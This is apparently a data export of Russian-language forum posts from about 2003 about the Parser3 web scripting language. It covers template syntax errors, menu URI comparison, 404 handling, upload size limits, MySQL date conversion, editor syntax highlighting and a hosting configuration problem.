		<TD>\
		^current_page.offset[cur](1)\
			<a href=\"$current_page.uri\">next</a>\
		</TD>\
	}{\
		<TD>\
		^current_page.offset[cur](-1)\
			<a href=\"$current_page.uri\">prev</a>\
		</TD>\
		<TD>\
			next\
		</TD>\
	}\
}{\
	<TD>\
		prev\
	</TD>\
	<TD>\
	^current_page.offset[cur](1)\
		<a href=\"$current_page.uri\">next</a>\
	</TD>\
}"
"24342","[Wed Dec 17 13:06:08 2003] /souz/: /bhome/part2/02/demolution/www/souz/auto.p(6:11): 'menu|' column not found [parser.runtime] \
\
auto.p\
@links_cell[]\
$sections[^table::load[/sections.cfg]]\
^sections.menu\
{\
$uri[/souz$sections.uri]\
^if($uri eq $request:uri)\
 {\
 $bgcolor[$sections.color]\
 <TABLE id=\"logo\" WIDTH=\"100%\" ALIGN=\"Center\" BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"0\">\
  <TBODY>\
   <TR>\
    <TD WIDTH=\"100%\" HEIGHT=\"60px\" BGCOLOR=\"$sections.color\">\
     <img title=\"Союз-А\" vspace=\"0\" hspase=\"0\" src=\"$sections.logo\" height=\"60\" width=\"250\" alt=\"\" border=\"0\">\
    </td>\
   </tr>\
  </tbody>\
 </table>\
 }\
}\
<TABLE id=\"Links\" WIDTH=\"100%\" ALIGN=\"Center\" BORDER=\"0\" CELLSPACING=\"5\" CELLPADDING=\"3\"\
 style=\"color: #FFFFFF^; font-family: Tahoma\">\
 <TBODY>\
  <TR>\
   <nobr>\
^sections.menu{\
$cell_width[^eval(100\\$sections)%]\
$uri[/souz$sections.uri]\
^if($uri eq $request:uri)\
     {\
      <TD ALIGN=\"middle\" WIDTH=\"$cell_width\" BGCOLOR=\"$sections.color\">\
       <b>$sections.name</b></TD>\
     }{\
      <TD ALIGN=\"middle\" WIDTH=\"$cell_width\" BGCOLOR=\"$sections.color\">\
       <b><a STYLE=\"COLOR: #FFFFFF^; TEXT-DECORATION: none\" target=\"_top\"\
        HREF=\"$sections.uri\">$sections.name</a></b></td>\
     }\
}\
   </nobr>\
  </TR>\
 </TBODY>\
</TABLE>\
\
sections.cfg\
section_id	name	uri	color	logo\
1	Главная	/	#FF0000	logored.gif\
2	Объекты	/object/	#4676CC	logoblue.gif\
3	Документы	/docs/	#15938D	logoseawave.gif\
4	Объявления	/desk/	#763BEA	logoviolet.gif\
5	Новости	/news/	#0EAF1E	logogreen.gif\
6	Ссылки	/links/	#FF7300	logoorange.gif\
7	Пользователи	/users/	#8AAF04	logosalat.gif\
8	О компании	/about/	#9B072A	logobordo.gif\
\
index.html\
<BODY>\
^links_cell[]\
</BODY>\
\
Где ошибка? Вроде все column на месте"
"24343","Нельзя делать так:\
\
^sections.menu\
{\
\
и так:\
^if($uri eq $request:uri)\
{\
\
А надо так:\
^sections.menu{\
\
и так:\
^if($uri eq $request:uri){"
"24345","видимо не locate a select\
внимательно читайте доку"
"24346","наугад: вы сдвигаете текущую строку таблицы на шаг назад, формируете ссылку, потом сдвигаете её на шаг вперед, оказываясь на [b]исходной[/b] позиции, и формируете ссылку, которая указывает не туда, куда вы хотели?"
"24347","Парсерных? Апачевских? И что подразумевается под \"ротацией\"? Не та ли задача, с которой прекрасно справляется штатный logrotate?"
"24348","Во-первых, response:code(404), а, во-вторых, - ну сообщит браузер пользователю \"Еррор нумбер ...\" и что тот делать будет? А так его граммотненько на страничку с объяснениями \"Упс, сорри, мы лажанулись, но это не страшно, у нас и другие интересные страницы есть...\""
"24349","[code]\
$styleSheet[^xdoc::load[http://www.somedomain.ru/styles/style.xsl]]\
$transformedDoc[^sourceDoc.transform[$styleSheet]]\
[/code]\
ну или что-то вроде этого..."
"24351","апач не выдаст страничку ошибки? (определенную в настройках)?"
"24353","не вы первый, не вы последний :)"
"24354","Пересматривал код полугодовой давности - ничего не разберешь!!! Думаю, ну теперь, то я все сделаю правильно. Ага - размечтался... Наивный... :)"
"24356","Если пишу $responce.code(404)(но не пробовал пока в auto.p) вылезает красивая страничка http://IvanBobov.ru/404/..."
"24357","заслуживает помещения в FAQ. После Джавы не сразу привыкаешь к такому странному поведению пробельных элементов."
"24358","который в настройках. Первая строчка выглядит так:\
\
undefined\
\
Там, видимо, предполагалось меню. Насколько я понимаю, вы его «заскриптовали» Java Script-ом? Простите, модераторы, что пишу в форум!\
\
Браузер: Opera 7"
"24360","переписал все, чтобы при отсутствии файла парсер кидал 404. Кидает. В Денвере все ОК - в строке браузера (и в request:uri, я полагаю) адрес запрашиваемой странички. Закачиваю на хостинг -- URI eq /404/! В чем трабл?\
\
И там и там задан ErrorDocument."
"24361","сначала вообще-то так и было\
$extension[^file:justext[$form:f_1.name]]\
не помню, почему убрал этот name\
\
важно то, что переменные $extension, $filename нормально определяются"
"24362","почему? не знаю. у вас в коде вроде и нужный method написан, и enctype без ошибок...\
\
не сделаете в форум именно copy/paste того, что у вас написано в коде? может где опечатка?\
\
я сделал copy/paste вашего кода, добавил action (кстати, попробуйте добавить и вы) и все зааплоадилось как надо...\
\
не дурит ваш броузер?"
"24363","в том то и дело\
у меня на серваке два сайта - один на парсере 3.08 другой 3.1.1. \
на первом эта конструкция работает, на втором - нет. на второй копировал соответственно из первого\
\
мистика какая-то. я же вижу, что вроде всё правильно.\
action тоже прописывал\
\
может ли как-нибудь случиться, что парсер не понимает, что то, что я загружаю файл?\
вот такая вот беда. \
Ладно, если пойму, в чём дело, напишу"
"24364","может вы отключили его перекодировки для сайта, работающего на 3.0.8 и забыли это сделать на 3.1.1?\
\
попробуйте для чистоты эксперимента скопировать парсер 3.1.1 в cgi-bin директорию сайта, работающего под 3.0.8 (переименовав) и назначить его обработчиком файлов с расширением например phtml\
\
тогда точно усраните влияние настроек апача для разных сайтов.\
\
P.S. я проверял на 3.1.1. при этом на 3.1.1 у нас работает уже достаточно сайтов, и всюду есть upload файлов. если был-бы баг парсера уже заметили-бы и сами..."
"24365","оказывается, там была форма в форме\
\
<form name=\"form1\" method=\"post>\
...\
<form enctype=\"multipart/form-data\" name=\"form2\" method=\"post\">\
...\
</form>\
</form>\
\
когда я разделил их и прописал где нужно $form:f_1.name, всё прекрасно заработало\
Только непонятен мне этот эффект, для текстовых полей вложенные формы всегда прекрасно срабатывали (как мне кажется), а для файловых - нет\
\
Никто не знает, в чём причина этого?"
"24366","trying to append here neither string nor date (xnode) [parser.runtime]\
\
ничего больше нет ни номеров строк ни стэк вызовов? странно.\
\
может кто сталкивался?"
"24367","Как обычно,\
http://dklab.ru/chicken/web/dis/\
\
Денвер+Parser в одном флаконе:\
http://dklab.ru/chicken/web/dis/Base_Parser/\
\
Отдельный модуль для Parser (можно ставить поверх для апгрейда старой версии Parser):\
http://dklab.ru/chicken/web/dis/Parser/"
"24368","причина возникновения непонятной ошибки в опечатке в имени переменной"
"24369","Доброе утро.\
Возникла проблема, я предпологал что по умолчанию загружаемы картинки в галерею будут в формате jpg, я сделал проверку на то - является эти файлами графическими или нет, но я встрял когда мне без проблем загрузили gif'ку, она сохранилась с расширением .jpg и парсер при её выводе вылител с ошибкой measure failed. Вопрос в том, как отличить одни графические форматы от других и сохранять файлы с настоящим форматом файла не перекодируя?"
"24370","Во-первых почитайте в примерах статью \"Уменьшение грфических изображений...\" Там в классе прилагается метод save который сохраняет картинки, проверяя их на валидность.\
То что вы описали - это еще самые незначительные грабли, есть еще масса примеров, когда картинка является не валидной.\
Кстати не забудьте что и у jpeg фармата есть три вида расширений jpg, jpe, jpeg...\
\
Во-вторых, определить что находится внутри файла задача не из легких, но решаемая. Сохраняйте картинку с помощью ImageMagick, он обладает достаточной мощью чтобы определить формат графического изображения, не взирая на расширение файла.\
\
А вообще, честно сказать, непонятно почему в галерее не могут быть отображены gif и png файлы... Они ведь тоже являются стандартными для веб."
"24371","1. если нужно, добавляете тип в src/types\
2. если нужно, добавляете методы вашего класса в src/classes\
3. дописываете имена добавленных файлов в .am\
всё."
"24372","Я же сам вот так делал, у этого метода есть проблема - в большинстве браузеров бэкграунды начинают скачиваться в последнюю очередь, но на вид все работает имено так как lowsrc нормальный. И не зависит от браузера и скриптов...\
\
[code]\
<table width=200 height=200 border=0 cellspacing=0 cellpadding=0 background=lowsrc.gif>\
<tr><td>\
<img src=hisrc.jpg width=200 height=200>\
</td></tr>\
</table>\
[/code]"
"24373","И никаких исключений... Код ршибок не давал, так что пока допер, семь потов сошло. Надо бы кидать какое-нибудь malformed date string exeption."
"24374","Как то просмотрел я ...\
Действительно подошел...\
ancestor-or-self меня спасла..."
"24375","Это все же лучше, чем скрипты."
"24376","Скрипт гибче... Но менее надежно."
"24377","Сначала пытался проделать через ^file::load, как в примере в доке (Урок 6, но там -- с диска). Осознал. Исправился:)"
"24378","А что в нём нового?"
"24379","Фантастически удобная штучка для разработчика - http://www.juicystudio.com/permarchive.asp?pageInfo=174 \
\
\"Рекомендации лучших собаководов!\""
"24381","...посмотреть на сайт глазами людей с цветовой слепотой и подобными проблемами - по статистике таких набирается процентов до 7-8, а на них обычно забивают..."
"24382","вот код левого меню\
\
@Showleftnav[]\
<table width=150 border=0 CELLPADDING=0 CELLSPACING=0 bgColor='#F4F8FD' valign=top>  \
           ^if(-f \"section.cfg\"){\
           $lmenu[^table::load[section.cfg]]\
                    ^lmenu.menu{\
                     ^Showlm[]\
                     }\
                     }{\
                     \
                 ^if(-f \"../section.cfg\"){\
                 $lmenu[^table::load[../section.cfg]]\
                    ^lmenu.menu{\
                    ^Showlm1[]\
                     }\
                     }{<tr><td></td></tr>}\
                     }\
</table> \
@Showlm[]                     \
	^if($lmenu.uri eq $request:uri){ \
	<tr>\
	<td height=20><img src=\"$sitename[]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0></td>\
	<td width=150  class=lmenu bgColor='#D5EDD9'\">\
	$lmenu.title\
	</td></tr>\
	}{\
	<tr>\
	<td height=20><img src=\"$sitename[]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0></td>\
	<td width=150  class=lmenu onmouseover=\"this.bgColor='#DBF0FC'\"onmouseout=\"this.bgColor='#F4F8FD'\"><a href=\"$lmenu.uri\" title=\"$lmenu.alt\">$lmenu.title</a></td></tr>\
                 }\
\
@Showlm1[]                     \
	^if($lmenu.uri eq $request:uri){ \
	<tr>\
	<td height=20><img src=\"$sitename[]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0></td>\
	<td width=150  class=lmenu bgColor='#D5EDD9'\">\
	$lmenu.title\
	</td></tr>\
	}{\
	<tr>\
	<td height=20><img src=\"$sitename[]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0></td>\
	<td width=150  class=lmenu onmouseover=\"this.bgColor='#DBF0FC'\"onmouseout=\"this.bgColor='#F4F8FD'\"><a href=\"../$lmenu.uri\" title=\"$lmenu.alt\">$lmenu.title</a></td></tr>\
\
так вот строчка\
\
^if($lmenu.uri eq $request:uri){ \
\
не работает, тоесть при заходе на страницу текущая ссылка тоже выглядит какссылка а не как текст.\
тут уже много говорилось о файлах цфг и пробелах в них, но если нет там уже никаких пробелов то что делать?"
"24384","[code]=$lmenu.uri=$request:uri=[/code] (copy/paste pls) и внимательно посмотрите что с чем сравнивается при выводе каждого пункта меню.\
\
и еще: прикольная конструкция постоянно встречается: <img src=\"[b]$sitename[][/b]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0>\
\
вы понимаете, что она означает?"
"24385","что перед вот этой строкой:\
^if($lmenu.uri eq $request:uri){\
надо поставить:\
=$lmenu.uri=$request:uri=\
чтобы получилось вот так:\
=$lmenu.uri=$request:uri=^if($lmenu.uri eq $request:uri){\
\
\
а относительно прикольной конструкции то в начале класса у меня стоит следующее:\
$sitename[$env:SERVER_NAME]\
\
если я сделал коряво то уж не обессудьте как могу так и изворачиваюсь а если не могу то изворачиваюсь в двойне , читаю доки и пристаю на форуме :-)"
"24386","Режимы разрешения экрана на первой практике показали, что студийный сайт не вписываеться в 800х600...\
\
Новый год наверно..."
"24387","А нужно видимо $sitename - Вы же возвратить хотите значение?\
Хотя все равно получается мало понятно:\
<img src=\"www.parser.ru/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0>\
"
"24389","Добро пожаловать в сабж. Заходи , общаемся . \
#parser"
"24390","вам смешно то что работает тогда как пропустили тему вопроса. почему так?\
хрен его знает как надо работает и ладно, главное что при перемене доменного имени мне не прийдется все это переписывать а со скобками или без главно чтоб работало не будет работать уберу скобки. \
Вопрос в другом почему не равны одинаковые урлы при сравнении?"
"24391","добавили то, что я вам сказал? увидели что у вас выводится? не поняли сами почему две разные строки не равны?"
"24392","В\
[code]\
@Showlm1[] \
^if($lmenu.uri eq $request:uri){ \
<tr>\
<td height=20><img src=\"$sitename[]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0></td>\
<td width=150 class=lmenu bgColor='#D5EDD9'\">\
$lmenu.title\
</td></tr>\
}{\
<tr>\
<td height=20><img src=\"$sitename[]/images/zero.gif\" WIDTH=1 HEIGHT=20 border=0></td>\
<td width=150 class=lmenu onmouseover=\"this.bgColor='#DBF0FC'\"onmouseout=\"this.bgColor='#F4F8FD'\">\
[b]<a href=\"../$lmenu.uri\" title=\"$lmenu.alt\">$lmenu.title</a[/b]\
</td></tr>\
[/code]\
\
Зачем нужно :\
[b]<a href=\"../$lmenu.uri\" title=\"$lmenu.alt\">$lmenu.title</a[/b]\
\
Мне кажеться после того, как вы кликаете и попадаете раздел\
у вас все ссылки в меню становяться такими:\
<a href=\"..//press/\">Новости</a>\
в строке браузера это \"//press/\"  ещё раз кликнули уже 3 слеша и так далее...\
\
а \"////press/\" это НЕ \"/press/\"\
\
P.S Хотя я могу и ошибаться (трудно разобраться. Вы бы в [ code] поместили бы код.)"
"24393","я конечно могу ошибаться, но судя по его предыдущим постам похоже это так.\
\
он увидел бы в чем проблема, если бы сделал что я ему написал ($request:uri - [b]путь от DOCUMENT_ROOT[/b] (ну... не совсем конечно, но в первом приближении), а в $lmenu.uri похоже путь от родительского раздела)"
"24395","добавил как и говорили \
вот что получается:\
\
есть раздел все о компании all\
в нем 2 подраздела \
принципы     princ\
концепция    conc\
когда захожу на all/index.html  \
то показывает:\
=princ/=/all/=   Принципы \
=conc/=/all/=   Концепция \
так и надо \
но когда захожу на (допустим концепция) то результат:\
=princ/=/all/conc/=   Принципы \
=conc/=/all/conc/=   Концепция \
тоесть во второй строке первая половина не равна второй, угу...\
а как надо? чтобы была равна?"
"24396","и письмами некоторых членов форума закидывал за что приношу свои извинения но сейчас просто самому понравилось чегонить делать 6-)\
\
только вы уж слишком намеками говорите - вы кто программисты, я же в этом деле признаюсь полный ламер но хочу научиться и что? я спрашиваю в каком направлении думать, господа, привожу тексты своего коряво написанного кода, спрашиваю в чем ошибка а в ответ... тишь да гладь с насмешками, мне очень понравился парсер, но я впервые сталкиваюсь с таким отношением к новичкам..."
"24397","Доброго...\
\
Вот встала такая проблема. в mysql хранится запись вида 1070351709, это дата которая потом преобразовывается на неизвесном языке php. Вопрос в чем как перевести средствами парсера на понятный человеку Tue Dec 02, 2003 10:55 am?\
\
Но самое противное что потом текущую дату нужно опять преобразовать в строку цифр. \
\
Подскажите пожалуйста решение. Заранее благодарен."
"24398","... с помощью собственных средств mySQL...\
\
http://www.mysql.com/doc/ru/Date_and_time_functions.html\
Функции from_unixtimestamp и unixtimestamp..."
"24399","Скажите пожалуйста, можно ли как-ниюудь отследить размер загружаемого на сервер файла до загрузки.\
Уже много было разговоров на эту тему, но до конца всё-равно не понятно\
\
Вот пример ошибки\
posted content_length(832311162) > max_post_size(10485760)  \
Насколько я понимаю, на сервер был закачан 800-меговый файл, а потом парсер обрадовал, что это слишком много.\
Вопросы:\
1. Как сделать так, чтобы зря не качать файл больше установленного размера - т.е. определить размер файла до отправки на сервер\
2. Как правильно выдать ошибку о превышении допустимого размера - ведь стандартная ошибка парсера - не очень хорошо"
"24400","Если у кого есть поделитесь плиз.\
И вообще люди! кто как рещает эту проблемму?\
far- мне не нравиться :("
"24401","Я раза два как минимум на него отвечал.\
http://www.parser.ru/forum/?id=17683\
\
как обрабатываются ошибки читайте в доке."
"24402","Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable»"
"24405","16 ноября 2003 года я внес последние изменения в файлы узла.\
19 ноября 2003 года Agawa переустановила сервер, где лежит мой хост.\
25 ноября 2003 года в script лог-файле появилось сообщение аналогичное обсуждаемому (conf уже сконфигурирован).\
16 декабря после месячного \"отпуска\" я обнаружил неработающий узел.\
Лог-файлы access и error Agawa сохраняет только за 10 последних дней. Поэтому источник информации только script. Домашняя копия узла совпадает почти во всем с агавовской. Другие мои узлы, которые лежат в Агаве на других (не переустанавливавшихся) серверах продолжают работать. Агава отвечает, что \"обращайтесь к разработчикам Парсера\".\
Как грамотно сформулировать Агаве вопрос, чтобы получить результат? Я нутром чувствую, что проблема на их стороне."
"24406","[quote]\
Насколько я понимаю, на сервер был закачан 800-меговый файл, а потом парсер обрадовал, что это слишком много.\
[/quote]\
\
вы это сами проверили, или, как сами пишете лишь «понимаете» так? вы понимаете неверно.\
\
и в parser и в apache есть возможность установить ограничение.\
и тот и другой проверяют это ограничение до приёма тела запроса=до приёма самого файла.\
\
предупреждая вопрос, ликбез по CGI:\
apache принимает соединение, получает заголовок запроса, и запускает CGI, передавая тому возможность самому работать с потоком данных от браузера. читать/нет — дело самого CGI процесса. \
\
parser не читает тело, которое длиннее ограничения[см. Конфигурационный метод в документации].\
\
браузер не может ничего отправлять, если на принимающей стороне поток приёма данных закрыт."
"24408","пожалуйста, \
* прочтите их;\
* посмотрите на свои файлы;\
* если ещё вопросы останутся, задайте."
"24409","Уже запутался в этом хэлпе. Где и что нужно написать что бы получить файл с другого сервера и записать на свой(сервер), сменив имя файла. С хтмл файлами все получается. Конструкция:\
$file[^file::load[binary;http://external.server.tam/extfile.zip]] \
^file.save[binary;/infile.zip] \
Сохраняет только начальные 5 байт(PKІ)\
Понимаю что надо что-то сделать с MIME-TYPES...Но не получается. Подскажите куда, где и что?"
"24410","Я внимательно прочитал эти ответы, именно поэтому пишу здесь, в этой ветви, а не создаю новую. Во-вторых, на Ваше пред-предыдущее замечание я сообщил, что проблема все-таки воспроизводима. В-третьих, мои файлы не менялись, я смотрю на них уже пятый день :-) после обнаружения проблемы. Проблема вероятнее всего у хостера, а он ее не может обнаружить. А у меня - узел, работавший на Парсере год, вдруг перестал работать, когда я был в отпуске и мои файлы не менялись.\
Я просто перед Агавой \"очищаю свою совесть\" - они считают, что это вопрос к вам."
"24411","какой-то глупый bug, и непонятно, почему уже какое-то время никем не замеченный.\
\
увы, наличествует начиная с 3.1.1, в 3.0.8 порядок.\
\
когда поправлю, сообщу. не уверен, что это будет до нового года."
"24412","и это сообщение:\
http://www.parser.ru/forum/?id=8215\
\
пожалуйста, дайте три ответа на три вопроса?"
"24413","...и это сообщение. Ситуация, как я уже говорил, абсолютно идентичная. Вообще, поиск слова 'conf' по всем файлам всех директорий моего хостинга дал результат из трех файлов: auto.p (в директории cgi), script (лог-файл с ошибками), и в самом скрипте Парсера. Файле auto.p не менялся (НЕ МЕНЯЛСЯ) за указанный период. Если он работал раньше и не менялся, то что произошло? А теперь, извините за длинное вступление, отвечаю на три вопроса:\
\
- нет ли его в других файлах - НЕТ\
- не вызывается ли он где ручками - НЕТ\
- не вызывается ли через use это самый auto.p - НЕТ (use вообще не используется)"
"24415","даже при отключенной оптимизаци икода Дримвивер замечен в самопроизвольном удалении тегов. Конкретный пример:\
\
После редактирования в ДВ файла с такой конструкцией:\
\
$some[$some</closetag>]\
\
Она непринужденно превращается в:\
\
$some[$some]\
\
(это не буквальная цитата из кода)"
"24416","И редактируйте как угодно."
"24417","Program Files\\Macromedia\\Dreamweaver 4\\Configuration\\ThirdPartyTags"
"24418","Edit -> Preferences... -> Code Rewriting -> [v] Remove extra closing tags (отключить).\
\
Сам я DW для редактирования Парсерного кода не пользуюсь (по своим причинам)."
"24420","Раз Парсер утверждает что он уже сконфигурирован - отключите ему @conf в auto.p\
[code]\
@_conf[filespec]\
[/code]\
\
и посмотрите что будет?"
"24421","Опаньки, так это баг %)\
Жаль что он, придется ждать до нового года..."
"24423","однако куда копать, примерно понял, спасибо. \
Но, как я представляю, надо кучу ручной работы (и не в GUI :-))сделать, ну, нас этим не очень напугаешь, конечно :-)"
"24424","что смутило меня - браузер кряхтел-кряхтел, думал-думал, и в конце-концов выдал ошибку. А для маленьких файлов (мегов 50) ошибка выдавалась быстро. Почему я и подумал, что он умудрился загрузить файл, а потом не пропустить его.\
\
Проверял, конечно, на локальном сервере\
Меня что беспокоит? ТО, что я делаю загрузку для сайта, находящегося на сервере, у которого ограниченный входящий траффик.\
Т.е., если бы какой-нибудь пользователь реально мог загрузить 800МГ файл (пусть даже случайно), это был бы для меня п..ц.\
Почему же тогда так долго думал браузер, если файл на сервер не грузится?"
"24425","Ну вопревых весрией нада пользоваться не 4 а 6 вот там есть и раскраска и все каждому тегу свой цвет и нечто немешает тебе дабавить чтото из парсера и даже если ничего недобавлять он очень удачноттеняет теги оставляя парсер черным цветом.\
\
А еще както раз напаролся на сайтик случайно один там какойто чел предлагал всем свою програму типа редактор для парсера. Очень удобная я вам скажу чтука сделаная на досотойном уровне. Подкраска операторов также эффекты до-ввода ну начинаешь писать ^wh.. он сам до ^while  добавляет ...... удобная очень чтука прямо скажу....ну  как с перестановкгой фидоус потерял инсталяшку а сайт больше этот ненашел как непытался :("
"24426","вроде действительно врукопашную. Если вы это сделаете, то честь вам и хвала."
"24427","судя по вашему посту, вы тоже не нашли... (шЮтка)"
"24430","Вы бы видил эту клаву :))\
Во первых половина клавиш заедает вот вторых буквы русские с ангицкими поменены местами.\
\
И еще торопился начальник звал :))"
"24431","parser [CGI] сначала считывает файл auto.p в том же каталоге, что лежит сам.\
\
потом ищет в везде вплоть до document_root/.\
\
возможно, ваш админ что-то настроил так, что parser не находит сам себя?\
попробуйте такое безобразие:\
\
положить такое в ваш cgi-bin под именем test.cgi\
[code]\
#!/bin/sh\
\
/bin/env /path/to/parser3.cgi\
[/code]\
\
* переносы строк в стиле unix.\
* включить x-бит\
\
вдруг изменится.\
\
[больной пятничный мозг родил]"
"24433","вы можете наблюдать в taskman, запускается ли в момент post процесс parser3.\
\
и потом сколько этот процесс потребляет процессорного времени.\
\
самый хороший способ: просто посмотреть sniffer'ом на передаваемые данные.\
\
вариант если dialup: посмотреть на циферки, показываемые модемом :)"
"24434","Ошибка синтаксического анализа XML: неверно отформатирован (Строка: 22, Символ: 36)\
\
В feedreader вообще ничего не видно."
"24435","гляньте в логи - че-то глючит"
"24436","делаю страничку с формой заказа, пользователь заполняет поля в т.ч. свой e-mail\
\
вопрос такой: как предотвратить использование формы в качестве несанкционированной рассылки?\
\
мой вариант: на стадии заполнения формы генерируем случайное число и передаем пользователю (cookie или <input type=\"hidden\"...>), и зиписываем на сервер; а как получаем заполненные поля - сверяем эти 2 числа, и дальше одно письмо службе заказа, другое-пользователю, а число с сервака и у пользователя удаляем. Еще надо надо выполнять проверку на то, сколько времени прошло с момента начала заполнения формы.\
\
Критика? Предложения?\
\
Еще: множественные адреса $.to[petya@hotmail.ru, vasya@hotmail.ru] работают?"
"24437","то что я придумал очень громозко и беграмотно, но все же я пока учусь парсеру.\
\
[code]\
^connect[$connect_string]{$ph[^table::sql{select * from topics ORDER BY topic_time DESC}]}\
^connect[$connect_string]{^string:sql{select FROM_UNIXTIME($ph.topic_time)}}\
[/code]\
\
если не сложно помогите советом или если не лень то кодом, как дернуть дату в один sql запрос...\
\
Спасибо."
"24438","[code]\
  select from_unixtimestamp(topic_time) as topictime,\
         следующее_поле, еще_поле, и_т_д \
    from topics\
order by topictime desc\
[/code]\
\
p.s. Никогда не делайте select *... http://www.parser.ru/examples/comp/"
"24439","По крайней мере, процедура добавления новых \"горячих\" элементов и новых типов файлов в список не описана вообще (либо ткните меня в кусок текста).\
Методом тыка кое-что, конечно, получилось, но крайне это не устраивает. Можно заставить подсвечивать ^Парсерные конструкции в html, однако научить DW воспринимать пи-файлы, как родные -- не получилось.\
Видимо, придется и далее копировать-вставлять в редактор FAR-a (который подсвечивает синтаксис, считает скобки и просто нравится мне) и затем гнать обратно в DW (который свободно работает с UTF-8, весьма удобен для заливки файлов на сервер и обратно, да и опять-таки, просто мне очень нравится)...\
\
__________________________________________________\
...После довольно продолжительных поисков, нашел кое-что (http://www.flash-ripper.com/articles/dreamweaver/2002_08_17_customizing_dwmx_3.htm) в рунете, и надежда на дружбу ^Parser'a и DW вновь возродилась :-)"
"24440","но такие номерки к сожалению тоже распознают с помощью файнридера и схожих программ.\
Если двигать в этом направлении то самый верный вариант генерить номер на газетном отрывке. Там много текста и вероятность попадания в номер будет крайне маленькой.\
Есть еще черезпиксельное сокрытие номера, но оно к сожалению работает только в IE."
"24441","Мне это пока не критично так что можно."
"24442","subj :)"
"24444","у меня в базе хранится путь к файлу, его уникально имя и расширение. Как бы мне сделать так, чтобы пользователь мог скачать файл\
\
Я не могу написать <a href=\"${file.id}$file.extension\">, т.к. на сервере файл хранится с именем ${file.id}, но без расширения.\
Т.е., нужно, чтобы пользователь на что-то нажал, из базы вытащилось id файла, его расширение и пользователю было бы предложено сохранить файл с именем ${file.id}$file.extension\
\
Спасибо"
"24445","Создал файл, записал. Переводы строк в стиле Юникса. Положил в cgi. Запустил http://mydomain/cgi-bin/test.cgi Сервер выдал ошибку 500, в лог-файле появилось \"test.cgi: /bin/env: not found\""
"24446","Попробовал, поставил решетку перед первой (нулевой) строкой auto.p Зашел на узел. Вместо стартовой странички появилось\
\
./auto.p(60:1): parse error, expecting `$'  type: parser.compile\
\
В лог-файле:\
\
[Sat Dec 20 21:09:22 2003] /mydomain/WWW/: ./auto.p(60:1): parse error, expecting `$' [parser.compile]"
"24447","почему бы не создать какой нибудь редактор, чисто для парсера - хтмл?\
ведь у технологии  Cold Fusion есть свой редактор- Cold Fusion Studio (который я только и использую, потомк как ничего удобнее не встречал!!!) , а чем мы хуже???\
\
Ну ладно, будем ждать, может кто -то и возьмется!!!"
"24448","нужно было просто временно переименовать метод @conf, например в @_conf.\
Вы закомментировали первую строчку метода, парсер начал разбор auto.p со следующей, и вылетел с ошибкой синтаксиса...\
\
В любом случае, вряд ли это решит вашу проблему, но попробовать можно..."
"24450","Очень удобно, просто, логично. Список макросов, подсветка парных конструкций и т.д. См. \"скачать\" --- \"Прислали пользователи\" --- \"[url=\"http://parser.mojo.ru/\"]Схема раскраски синтаксиса языка parser3 для использования совместно с Far Manager и colourer4ever[/url]\". (В подразделе \"разное\" совершенно другие схемы для Far, которые не используют все возможности Колорера.) Если будут вопросы, задавайте. ;-)"
"24451","мне за глаза хватает\
на поатформе win - UltraEdit + подсветка для PARSER\
на mac Костя Томашевич рекомендовал BBEdit\
на *nix`ах прекрасно обхожусь mc + подсветка для PARSER/Joe\
\
кстати пользуясь случаем:\
Никто не мучал Joe на предмет раскраски синтаксиса?"
"24452","Теперь браузер выдал\
\
./auto.p(111): 'windows-1251' unknown charset  type: parser.runtime\
\
вот кусок кода со 109 строки:\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]"
"24453","Вот сейчас качаю UltraEdit, а где взять подсветку под парсер? В разделе скачать её нету!"
"24454","Какой же я тупой!!! Простите меня!!! Не зашел в раздел РАЗНОЕ!!! :((((((((((((((((((((((((\
Просто наверное не выспался!!!!\
Ладно буду вниметельнее вследующий раз, всем спасибо!!!"
"24455","у меня в этом редакторе, русский шрифт показывается в виде \"кракозябров\" , может у кого какой руссификатор есть, или что мне надо еше сделать? (скачал энглиш версион)"
"24456","Посмотреть еще можно, а вот отредактировать...\
Как, собственно, и большинство других редакторов. А DreamWeaver работает с этой кодировкой, как с родной.\
Пока тоже приходится copy-paste DW <=> FAR, но утомительно это :-(\
Работать же в Win-1251, KOI-8R и проч. в наше время XML, SQL и других [i]внеплатформенных[/i] стандартов кажется идеологически неправильным :-)"
"24458","тут всё нормально, в @conf должны были цепляться кодировки, а так как он отключен, вылезла такая ошибка (предполагается, что файлы описания кодировок у вас на месте).\
\
Вобщем, наверняка ваш хостер где-то вам напакостил, как вы и говорили.\
\
Можете попробовать запустить [url=\"http://www.parser.ru/forum/?id=24431\"]предложенный тест[/url] на других ваших площадках того-же хостера, и посмотреть, чем отличается результат.\
Ещё можно попробовать запустить [url=\"http://www.parser.ru/f/1/download/utils/test.zip\"]test.html[/url], или спросить у хостера какие конкретно изменения он реализовал, намекнув между делом, что у вас уже имелись проблемы по его вине..."
"24459","Товарищи программисты я недавно заинтересовался PARSER, за не имением опыта не могу приступить к написанию сайтов на нём.\
Я очень хорошо знаю HTML, но из руководства(по Парсеру) ничего не понял.\
Вопрос:\
Как работать с Парсером как интерпритатор скриптов под Windows 98SE RUS и под Mac OXS(подробнее пожалуйста и попроще)"
"24460","Про Mac OXS не скажу, а с Win:\
-если знаешь установку/настройку веб-сервера, то устанавливаешь/настраиваешь и ставишь Парсер (читать доку, FAQ, поиск по форуму)...\
-если не знаешь, то качай и ставь Денвер (есть в разделе Скачать) - там есть и веб-сервер и БД и Парсер и все настроено...\
\
Ну, а дальше вперед, по парсеровским урокам \
;)"
"24461","если вы пишете только в одном языке, или в нескольких языках, которые умещаются в одной кодировке, то вполне приемлемо использование именно этой одной кодировки. Так что, моё мнение, вполне допустимо и логично хранить базу данный в MySQL в KOI8-R, а страницы на парсере в win1251. Хотя если уж XML, то лучше utf8, согласен. ;-) \
\
Кстати, можно ли сказать парсеру, что только XML храниться в utf8, но не сам исходный код движка сайта?"
"24463","что-ж, тогда, если не лень, попробуйте такое:\
[code]\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
